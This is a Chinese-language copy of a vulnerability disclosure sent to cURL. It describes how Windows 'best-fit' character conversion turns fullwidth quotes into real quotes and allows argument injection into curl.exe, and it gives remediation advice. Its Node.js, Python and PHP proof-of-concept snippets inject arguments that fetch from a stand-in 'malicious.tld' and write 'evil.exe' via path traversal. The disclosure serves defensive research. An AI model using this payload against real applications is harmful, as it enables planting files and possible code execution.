Windows 上的 Unicode 到 ASCII 转换可能导致参数注入等
我是 DEVCORE 研究团队的 splitline。我们最近在 cURL 上发现了一个漏洞。我们在最新版本的 cURL(curl-8.8.0_1)中重现了这些问题,并想向您报告。请查看附件文档了解详细信息。
此通告符合我们的漏洞披露政策,该政策将在 90 天后公开披露。我们的目标是确保漏洞能够及时修补。虽然这不是一个硬性期限,但我们仍然希望您能在 2024 年 9 月 11 日之前修复此漏洞。
如果您有任何疑问,请告诉我,谢谢!
概括
我们注意到,cURL 中 Windows ANSI API 的误用可能会导致 cURL 出现意外的参数解析行为。这可能会导致curl.exe
从命令行调用时出现参数注入。
受影响环境
操作系统:Microsoft Windows
在 Windows 10/11 上测试,也适用于大多数版本。
语言(系统区域设置):
CP874:泰语
CP1250:中欧语言(例如英语、德语、波兰语)
CP1251:西里尔文
CP1252:西欧语言(例如英语、西班牙语、法语)
CP1253:希腊语
CP1254:土耳其语
CP1255:希伯来语
CP1256:阿拉伯语
CP1257:波罗的海
CP1258:越南语
(不影响中文、日文和韩文)
描述
首先,在 Windows 上,命令行参数以字符串形式传递,并由可执行文件本身解析。相反,在 Linux 上,参数始终以字符串数组的形式传递给可执行文件。
其次,Windows 存在一种称为“最佳匹配”编码转换的行为。当 Windows 需要在 Unicode UTF-16(WideChar)和 ANSI(MultiByte)之间转换字符时,就会发生这种情况。例如,如果 Unicode 字符(U+FF02,全角双引号)作为参数传递,但使用ANSI API 接收,则在某些系统区域设置中,它将触发“最佳匹配”行为并将此 Unicode UTF-16 字符转换为(0x22,双引号)。[1][2]"GetCommandLineA"
在我们的例子中,curl.exe
使用 ANSI API 接收命令行字符串。因此,如果您将一些 Unicode 字符传递到这些可执行文件中,它将被转换为另一个字符,最终导致意外的参数解析结果。
示例/重现步骤
在开始之前,我们需要确保 Windows 系统区域设置配置为以下任何一种语言类型:中欧、西欧、希腊语、希伯来语、波罗的海语、西里尔语、阿拉伯语、土耳其语、越南语或泰语。您可以通过以下命令检查您的代码页:
powershell.exe [Console]::OutputEncoding.WindowsCodePage
如果您的计算机当前未配置该语言,请按照以下详细步骤进行配置(适用于 Windows 11):
前往“设置”>“时间和语言”>“语言和地区”
点击“管理语言设置”项(在“相关设置”部分)
在“非 Unicode 程序的语言”部分中,单击“更改系统区域设置”按钮。将系统区域设置设置为我们提到的任何语言。这里我们可以以“英语(美国)”为例。(记得重启你的机器)
使用我们提到的命令再次检查代码页:。如果您选择“英语(美国)”,则
powershell.exe [Console]::OutputEncoding.WindowsCodePage
应该是。1252
这里我们选择 Node.js、Python 和 PHP 作为一些示例。
后面三种情况,参数转义或参数分离可能会失败,从而导致参数注入。此外,还存在执行任意命令的可能性。为了便于说明,我们简单地通过将文件写入临时目录来进行演示。
确保将以下脚本中的malicious.tld
和替换<username>
为系统上的适当值。在此上下文中,malicious.tld
表示由恶意行为者控制的域或网站,而<username>
表示当前用户的用户名。
在 Node.js 中:
const child_process = requite('child_process');const arg = "name=meow\u{FF02} malicious.tld \u{FF02}-o-\u{FF02} \u{FF02}-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe";child_process.spawnSync("curl.exe", ["https://example.com/", "--data", arg]);
在python中
import subprocessarg = "name=meow\uFF02 malicious.tld \uFF02-o-\uFF02 \uFF02-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe"subprocess.run(['curl.exe', "https://example.com/", "--data", arg])
PHP
define("arg", "name=meow\u{FF02} malicious.tld \u{FF02}-o-\u{FF02} \u{FF02}-o ..\..\..\..\..\..\..\..\..\\Users\\<username>\\AppData\\Local\\Temp\\evil.exe");proc_open(['curl.exe', "https://example.com/", "--data", arg], [], $pipes);// orsystem(sprintf("curl.exe https://example.com/ --data %s", escapeshellarg(arg)));
对于上述 3 个实例,它们均在命令行中产生以下解析结果curl.exe:
在命令行中:
┌─────────────────────────────────────────────────────────────────────────────────────────────────────────────┐curl.exe https://example.com/ --data "name=meow" malicious.tld "-o-" "-o ..\..\..\..\..\..\..\..\..\Users\<username>\AppData\Local\Temp\evil.exe" ↑ ↑ ↑ ↑ ↑ ↑ 0x22 U+FF02 U+FF02 0x22
In curl.exe
┌─────────┐ ┌────────────┐ ┌────┐ ┌───────────────────────────────────────────────────────────────────────────┐curl.exe https://example.com/ --data "name=meow" malicious.tld "-o-" "-o ..\..\..\..\..\..\..\..\..\Users\<username>\AppData\Local\Temp\evil.exe" ↑ ↑ ↑ ↑ ↑ ↑ 0x22 0x22 0x22 0x22 0x22
请注意,U+FF02 并不是唯一可以转换为双引号的字符;它只是众多示例中的一个。有关完整的转换表,我们可以参考Unicode.Org 的文档。因此,鉴于这一特性,其他编程语言要充分处理参数转义就变得极具挑战性。
建议的补救措施
避免使用ANSI Windows API来获取和解析命令行。
如果您没有明确使用 ANSI Windows API,它可能会被编译器或标准库本身使用,有几种方法可以提示编译器使用 UTF-16(WideChar)API。
使用
wmain
函数作为主函数:https://learn.microsoft.com/en-us/cpp/c-language/using-wmain ?view=msvc-170编译时使用 -municode 标志:https://sourceforge.net/p/mingw-w64/wiki2/Unicode%20apps/
发现
DEVCORE 研究团队的Orange Tsai ( @orange_8361 ) 和 splitline ( @splitline )
影响
如果应用程序从命令行调用curl.exe
,并且参数的任何部分都可以由用户控制,那么就会导致参数注入。
https://hackerone.com/reports/2550951
免责声明
本文仅用于技术讨论与学习,利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本平台和发布者不为此承担任何责任。